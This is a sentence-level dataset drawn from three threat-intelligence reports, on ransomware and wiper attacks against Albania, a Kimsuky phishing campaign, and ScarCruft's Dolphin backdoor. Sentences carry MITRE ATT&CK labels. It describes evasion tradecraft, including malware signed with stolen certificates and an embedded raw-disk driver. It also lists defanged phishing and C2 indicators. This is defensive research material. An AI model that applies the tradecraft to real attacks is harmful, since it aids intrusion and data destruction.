{"sentence": "The ransomware – use of Kuwait Telecommunications Company signing certificate MD5 96eabcc77a6734ea8587599685fbf1b4 SHA1 6a36962709abbfc1f88f87e7fe88a417302bfe43 SHA256 8ad01b028e6aa711d26879d346a7bef82516e372e0f14e8e69db6aef0f25d992 Imphash 653ee44c85bc91d12ec33dfed8056c27 Link time Wed Jul 06 21:30:41 2016 File type 32-bit executable Compiler MinGW-w32 gcc File size 45.48 KB File name PdftoDoc.exe This second wave sample has the same signing certificate parameters as the first wave sample, which is related to Kuwait Telecommunications Company.", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "It’s unclear how the threat actor was able to sign its malware using Kuwait Telecommunications Company’s certificate, but we suspect it was stolen.", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "As of the date of this publication, the certificate is no longer valid and has been revoked.", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "After the initial execution, the wave 2 ransomware checks for any six arguments (or more) supplied by the threat actor, as opposed to the wave 1 sample that checks for five arguments or more – a small modification that assists in defense evasion.", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "Nevertheless, the intrusion analysis conducted on one of the affected machines indicates that in wave 2 the threat actor did not use a BAT file to invoke the ransomware while supplying seven digits similar to wave 1, but instead invoked the wave 2 ransomware immediately from the command line using six zeroes: “000000”.", "labels": ["T1059.003"], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "If ransomware execution fails because the correct arguments are not supplied, the wave 2 sample displays a different message from that of wave 1; the wave 2 message resembles an error message displayed by a PDF to DOC converter.", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "Wave 1 sample – messaging after failed execution Wave 2 sample – different messaging after failed execution The wave 2 ransomware sample continues execution and checks for the mutex Screenlimitsdevices#77!;, a value that differs from the wave 1 sample’s mutex:abcdefghijklmnoklmnopqrstuvwxyz01234567890abcdefghijklmnopqrstuvwxyz01234567890 Although we call this malware ransomware based on its behavior, the encrypted files are, in fact, unrecoverable.", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "When comparing wave 2 ransomware samples to wave 1, we notice that both have the same , and both use CreateFile and WriteFile APIs to overwrite files.", "labels": ["T1106"], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "During the process of execution, wave 2 ransomware attempts to decrypt and execute embedded scripts, malware settings or API function names.", "labels": ["T1027", "T1140"], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "The encryption algorithm used is RC4 in both wave 1 and wave 2.", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "However, the RC4 key for decryption in wave 2 has been changed in another attempt to evade detection.", "labels": ["T1140"], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "Wave 1 RC4 key: 8C E4 B1 6B 22 B5 88 94 AA 86 C4 21 E8 75 9D F3 Wave 2 RC4 key: F0 B4 ED D9 43 F5 C8 43 C9 D0 A2 4F 22 9B BC 3A It’s worth noting that in both waves, the RC4 decryption method uses CryptoAPI (CryptDecrypt) instead of the usual substitution box method.", "labels": ["T1140"], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "The intrusion we analyzed in wave 2 indicates that the ransomware was probably deployed over the internal network, possibly from another compromised machine.", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "This is reinforced by the fact that we didn’t see anything else dropped or executed before the ransomware execution, and the ransomware executable name was randomly generated, potentially by the tool the threat actor used to deploy it over the network (e.g., Mellona.exe).", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "Despite all the changes made in the wave 2 ransomware, the ransom notes remained the same and included political messaging that reflects the geopolitical tensions between Albania and Iran.", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "Ransom note in both wave 1 and wave 2 ransomware The wiper – use of Nvidia signing certificate MD5 64cb923be15ae255b82e7ebcf24ccfc5 SHA1 e1b8b72fbd1e3b9bbf8bebd2e14a3f2e071c6048 SHA256 d8ec8ec8dfa582c44e81b8a7fcc44defc3d2fa658f75fa495124aedc3b0db367 Imphash 81CA8B811412284938148FC4F2A76C09 Link time 0x6319C758 (Thu Sep 08 03:43:36 2022)", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "File type PE 64-bit Compiler Microsoft Visual C/C++ File size 174.00 KB File name DiskSnapshot.exe Driver PDB path c:\\projects\\rawdisk\\bin\\wnet\\fre\\amd64\\rawdsk3.pdb Driver key B4B615C28CCD059CF8ED1ABF1C71FE03C0354522990AF63ADF3C911E2287A4B906D47D Similar to the wave 2 ransomware sample, the threat actor made several modifications to the wave 2 wiper malware, probably to evade detection.", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "The three main changes are: Modified malware signing Embedding of EldoS RawDisk driver inside the wiper malware Automatic wiping after driver installation command Historically, in ZEROCLEARE and DUSTMAN incidents from 2019, the wiper malware and raw disk drivers were not signed and therefore could not directly access the raw disk for speedy data wiping.", "labels": ["T1027"], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "So, the wipers had to use a third-party loader such as TDL – a signed loader for unsigned drivers – to install the unsigned raw disk driver that allows the wiper malware to directly access the raw disk for wiping data using DeviceControl API methods.", "labels": ["T1106"], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "However, in the first attack wave targeting Albania, the threat actor signed the wave 1 wiper using the Kuwait Telecommunications Company certificate, thus removing the need for a third-party loader.", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "The speed and automation improvements remind us of previous Shamoon operations in the Middle East.", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "Since the wave 1 wipers were exposed in July 2022, and likely to avoid static detections, the threat actor used Nvidia’s leaked signing certificate to sign the wave 2 wiper in September 2022, again eliminating the need for a third-party loader for the raw disk driver.", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "In wave 1, the wiper malware expected to find the raw disk driver in the execution directory or in the system directory.", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "The driver wasn’t dropped by the wiper, and the threat actor likely dropped it using other means.", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "Conversely, in wave 2 the threat actor embedded the signed raw disk driver in the wiper executable, dropped it and then installed it.", "labels": ["T1027"], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "In addition, the driver being used by the threat actor in wave 2 seems to copy metadata and a few functions from Microsoft’s diskdump.sys crash dump driver[1] (version 10.0.19041.1682) as another means to avoid detections.", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "The wiping activity starts automatically after the driver installation command; as opposed to the wave 1 wiper, where installation is one step and wiping execution is a second step.", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "Finally, for the most part, wave 1 and wave 2 wipers remained the same, including the reliance on the same authentication key to access the raw disk driver, and the use of the same DeviceControl API methods, but with one exception, as shown below.", "labels": ["T1106"], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "It’s worth noting that the method IOCTL_DISK_GET_LENGTH_INFO is exclusive to all Persian-speaking APT wipers.", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "Wave 1 wiper DeviceControl API methods: IOCTL_DISK_GET_DRIVE_GEOMETRY_EX IOCTL_DISK_GET_DRIVE_GEOMETRY IOCTL_DISK_GET_LENGTH_INFO Wave 2 wiper DeviceControl API methods: IOCTL_VOLUME_GET_VOLUME_DISK_EXTENTS (new method in wave 2; used in multiple instances) IOCTL_DISK_GET_DRIVE_GEOMETRY IOCTL_DISK_GET_LENGTH_INFO Based on our telemetry, we suspect the infections are associated with law enforcement institutions in Albania.", "labels": ["T1106"], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "This targeting is consistent with the previous wave of cyberattacks affecting the Albanian government during the July 2022 wave of cyberattacks.", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "Conclusions In this publication, we discussed the changes made to the second wave of ransomware and wiper samples that targeted Albanian institutions to evade detection and inflict maximum damage.", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "Aside from the changes made to evade detection in wave 2, we suspect that the threat actors needed an automated and speedy wiper execution.", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "In wave 2, the raw disk driver was embedded inside the malware and the wiping routine started immediately after driver installation, as opposed to the wave 1 procedure.", "labels": ["T1027"], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "This is reminiscent of Shamoon operations in the Middle East.", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "Finally, for defenders we can highlight two important elements from the intrusion and malware analysis presented here: Monitor for remote software activities such as AnyDesk for unauthorized use Always hunt and monitor for expired and/or leaked signing certificates as they can be used by threat actors to load and execute malware Threat detection", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "The detection logic has been improved in all our solutions to ensure that our customers remain protected.", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "We continue to investigate this threat using our Threat Intelligence and we will add additional detection logic once they are available.", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "Our products protect against this threat and detect it with the following names:", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "HEUR:Trojan-Ransom.", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "Win32.Agent.gen Trojan-Ransom.Win32.Gen.aghh Trojan-Ransom.Win64.Agent.dpf Trojan.Win32.Agentb.kzkj Indicators of compromise File hashes (malicious documents, Trojans, emails, decoys) Ransomware Wiper Driver Signing certificates serial numbers 14 78 1B C8 62 E8 DC 50 3A 55", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "93 46 F5 DC C5 18 Nvidia certificate 01 FD D0 93", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "F6 50 87 F4 E9 AE 11 ED 65 0D 83 E8 Kuwait Telecommunications company certificate [1] Original, legitimate driver’s MD5 is 015caeec9148194054b5b1de64762a43", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "Executive Summary SentinelLabs has been tracking a social engineering campaign by the North Korean APT group Kimsuky targeting experts in North Korean affairs, part of a broader campaign discussed in a recent NSA advisory.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "The campaign has the objective of stealing Google and subscription credentials of a reputable news and analysis service focusing on North Korea, as well as delivering reconnaissance malware.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "Kimsuky engages in extensive email correspondence and uses spoofed URLs, websites imitating legitimate web platforms, and Office documents weaponized with the ReconShark malware.", "labels": ["T1566.001"], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "This activity indicates Kimsuky’s growing dedication to social engineering and highlights the group’s increasing interest in gathering strategic intelligence.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "In collaboration with NK News, a leading subscription-based service that provides news and analyses about North Korea, SentinelLabs has been tracking a targeted social engineering campaign against experts in North Korean affairs from the non-government sector.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "The campaign focuses on theft of email credentials, delivery of reconnaissance malware, and theft of NK News subscription credentials.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "Based on the used malware, infrastructure, and tactics, we assess with high confidence that the campaign has been orchestrated by the Kimsuky threat actor.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "The social engineering tactics and some infrastructure characteristics closely relate to a Kimsuky activity privately reported by PwC and discussed in an NSA advisory published during the writing of this article.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "We focus on the specific targeting of expert analysts of North Korean affairs by impersonating NK News and stealing NK News credentials, and provide details on used TTPs to support collaborative hunting and detection efforts.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "Kimsuky, a suspected North Korean advanced persistent threat (APT) group whose activities align with the interests of the North Korean government, is known for its global targeting of organizations and individuals.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "Operating since at least 2012, the group often employs targeted phishing and social engineering tactics to gather intelligence and access sensitive information.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "A hallmark of the activity we discuss in this post is Kimsuky’s focus on establishing initial contact and developing a rapport with their targets prior to initiating malicious activities.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "As part of their initial contact strategy, the group impersonated Chad O’Carroll, the founder of NK News and the associated holding company Korea Risk Group, using an attacker-created domain, nknews[.]pro, which closely resembles the legitimate NK News domain nknews.org.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "The initial email requests the review of a draft article analyzing the nuclear threat posed by North Korea.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "If the target engages in the conversation, Kimsuky uses the opportunity to deliver a spoofed URL to a Google document, which redirects to a malicious website specifically crafted to capture Google credentials.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "Kimsuky may also deliver a weaponized Office document that executes the ReconShark reconnaissance malware.", "labels": ["T1566.001"], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "Further, Kimsuky’s objective extends to the theft of subscription credentials from NK News.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "To achieve this, the group distributes emails that lure targeted individuals to log in on the malicious website nknews[.]pro, which masquerades as the authentic NK News site.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "The login form that is presented to the target is designed to capture entered credentials.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "This Kimsuky activity indicates the group’s growing efforts to establish early communication and foster trust with their targets prior to initiating malicious operations, including the delivery of malware.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "Their approach highlights the group’s commitment to creating a sense of rapport with the individuals they target, potentially increasing the success rate of their subsequent malicious activities.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "By actively targeting high-profile experts in North Korean affairs and stealing subscription credentials from prominent news and analysis outlets focussing on North Korea, Kimsuky demonstrates a heightened curiosity in understanding how the international community perceives developments concerning North Korea, such as the country’s military activities.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "These actions are probably part of their broader objective to gather strategic intelligence, contributing to North Korea’s decision-making processes.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "Google Credential Theft We observed Kimsuky distributing an HTML-formatted phishing email to selected individuals, which requests the review of a draft article analyzing the nuclear threat posed by North Korea.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "The email primarily aims to initiate a subsequent conversation and is intentionally designed to appear benign: It impersonates NK News leadership and lacks any malicious artifacts.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "Initial email If the target engages in the conversation, Kimsuky eventually follows up with an email that contains an URL to a Google document.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "Follow-up email If the target is not responsive, Kimsuky follows up with a reminder email in an attempt to engage the target in conversation.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "Reminder email The URL’s destination is manipulated through the spoofing technique of setting the href HTML property to direct to a website created by Kimsuky.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "This method, commonly employed in phishing attacks, creates a discrepancy between the perceived legitimacy of the link (a genuine Google document) and the actual website visited upon clicking the URL.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "The displayed URL to a Google document points to an actual article hosted on Google Docs, delving into the topic of the North Korean nuclear threat.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "The article contains visible edits to give the impression of a genuine draft article, aligning with Kimsuky’s luring tactic.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "Google document The spoofed destination of the URL redirects the target to an attacker-created website that masquerades as a legitimate Google Docs site for requesting document access, such as https[://]drive-google[.]shanumedia[.]com/pdf/ul/ji78fghJHKtgfLKJIO/s2.php?menu=ZGFu[...]vbQ== The Base-64 encoded segment, that is, the value of the menu URL query parameter, resolves to the target’s email address.", "labels": ["T1027"], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "This serves as a means of transporting the target’s address to the fake Google Docs site, which enables the site to dynamically display the address, creating a personalized and convincing appearance of legitimacy.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "The design and functionality of this site suggest its potential for reuse in targeting different individuals.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "Malicious Google Docs site We were unable to analyze the functionality behind the Request access web element as the group has taken down the site.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "However, given the theme of the site, we suspect that it has been designed to capture entered Google credentials.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "During conversations with targeted individuals, Kimsuky also seizes any available opportunity to distribute password-protected weaponized Office documents that deploy the ReconShark reconnaissance malware.", "labels": ["T1566.001"], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "ReconShark exfiltrates information relevant for conducting subsequent precision attacks, such as deployed detection mechanisms and hardware information.", "labels": ["T1082"], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "The implementation of the ReconShark variant we observed in this activity remains the same as the one covered in our previous post on Kimsuky activity, with the main distinction being the use of a different C2 server: staradvertiser[.]store.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "This domain resolves to the IP address 162.0.209[.]27, which has hosted domains that have been attributed to Kimsuky in previous research, such as sesorin[.]lol and rfa[.]ink.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "Kimsuky’s use of ReconShark as part of this activity underscores the malware’s central role within the group’s current operational playbook.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "NK News Credential Theft", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "We also observed Kimsuky attempting to steal credentials for the subscription service of NK News, which is known for its comprehensive expert analyses and news reports.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "Gaining access to such reports would provide Kimsuky with valuable insights into how the international community assesses and interprets developments related to North Korea, contributing to their broader strategic intelligence-gathering initiatives.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "In order to accomplish this, Kimsuky distributes an email that lure targeted individuals to log in to a spoofed NK News subscription service.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "The emails prompt the recipients to confirm their NK News accounts under the pretext of recent security updates.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "Phishing Email The fake login site, hosted at https[://]www.nknews[.]pro/ip/register/, features a login form with the standard web elements, such as Sign In, Sign Up, and Forgot Password?", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "buttons.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "When clicked, the Sign In button executes the loginAct JavaScript function, whereas the rest of the buttons do not conduct any activities.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "Fake NK News login site The JavaScript code captures entered credentials by issuing an HTTP POST request to https[://]www.nknews[.]pro/ip/register/login[.]php and then redirects the user to the legitimate NK News site.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "JavaScript code The main website hosted at https[://]www.nknews[.]pro redirects to the legitimate NK News site, https://nknews.org, and uses a certificate issued by Sectigo: Thumbprint: a1597d197e9b084a043ada5c7dac1f9b6d7f7af3", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "Serial number: 00f342582c9a299acf2452aaf5115c5be0", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "The domain nknews[.]pro, registered through Namecheap, also resolves to the Kimsuky-linked IP address 162.0.209[.]27.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "The URL https[://]www.nknews[.]pro/config[.]php hosts a password-protected remote management site, which is likely an implementation of the b374k tool, based on the implementation of the login site and the presence of the config.php file.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "The Kimsuky group is known to use this tool for remote management of its infrastructure.", "labels": ["T1219"], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "b374k login site Conclusion SentinelLabs remains actively engaged in monitoring the activities conducted by Kimsuky.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "The findings presented in this post highlight the group’s persistent commitment to targeted social engineering attacks and underscore the need for increased awareness and understanding of Kimsuky’s tactics among potential targets.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "Maintaining vigilance and implementing effective security measures are imperative to mitigate the risks posed by this persistent threat actor.", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "Indicators of Compromise Indicator Description nknews[.]pro Phishing email sender domain chad.ocarroll@nknews[.]pro Phishing email sender address membership@nknews[.]pro Phishing email sender address https[://]www.nknews[.]pro Website impersonating NK News https[://]www.nknews[.]pro/config[.]php Website impersonating NK News: b374k login site https[://]www.nknews[.]pro/ip/register/ Website impersonating NK News:", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "Fake NK News login site https[://]www.nknews[.]pro/ip/register/login[.]php Website impersonating NK News: NK News credential theft endpoint https[://]staradvertiser.store/piece/ca[.]php ReconShark payload hosting endpoint https[://]staradvertiser.store/piece/r[.]php ReconShark C2 server endpoint 162.0.209[.]27 Website impersonating NK News, ReconShark C2 server: IP address 4150B40C00D8AB2E960AA059159149AF3F9ADA09 Malicious document (password-protected): SHA1 hash 7514FD9E5667FC5085373704FE2EA959258C7595 Malicious document: SHA1 hash 41E39162AE3A6370B1100BE2B35BB09E2CBE9782", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "ReconShark: SHA1 hash", "labels": [], "doc_title": "Kimsuky Strikes Again  New Social Engineering Campaign Aims to Steal Credentials and Gather Strategic Intelligence"}
{"sentence": "Who’s swimming in South Korean waters?", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "Meet ScarCruft’s Dolphin url: https://www.welivesecurity.com/2022/11/30/whos-swimming-south-korean-waters-meet-scarcrufts-dolphin/ ESET researchers uncover Dolphin, a sophisticated backdoor extending the arsenal of the ScarCruft APT group ESET researchers have analyzed a previously unreported backdoor used by the ScarCruft APT group.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "The backdoor, which we named Dolphin, has a wide range of spying capabilities, including monitoring drives and portable devices and exfiltrating files of interest, keylogging and taking screenshots, and stealing credentials from browsers.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "Its functionality is reserved for selected targets, to which the backdoor is deployed after initial compromise using less advanced malware.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "In line with other ScarCruft tools, Dolphin abuses cloud storage services – specifically Google Drive – for C&C communication.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "During our investigation, we saw continued development of the backdoor and attempts by the malware authors to evade detection.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "A notable feature of earlier Dolphin versions we analyzed is the ability to modify the settings of victims’ signed-in Google and Gmail accounts to lower their security, most likely to maintain access to victims’ email inboxes.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "In this blogpost, we provide a technical analysis of the Dolphin backdoor and explain its connection to previously documented ScarCruft activity.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "We will present our findings about this new addition to ScarCruft’s toolset at the AVAR 2022 conference.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "Key points in this blogpost: ESET researchers analyzed Dolphin, a previously unreported backdoor used by the ScarCruft APT group.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "Dolphin is deployed on selected targets only; it searches the drives of compromised systems for interesting files and exfiltrates them to Google Drive.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "The backdoor was used as the final payload of a multistage attack in early 2021, involving a watering-hole attack on a South Korean online newspaper, an Internet Explorer exploit, and another ScarCruft backdoor, named BLUELIGHT.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
{"sentence": "Since the initial discovery of Dolphin in April 2021, ESET researchers have observed multiple versions of the backdoor, in which the threat actors improved the backdoor’s capabilities and made attempts to evade detection.", "labels": [], "doc_title": "Whos swimming in South Korean waters Meet ScarCrufts Dolphin"}
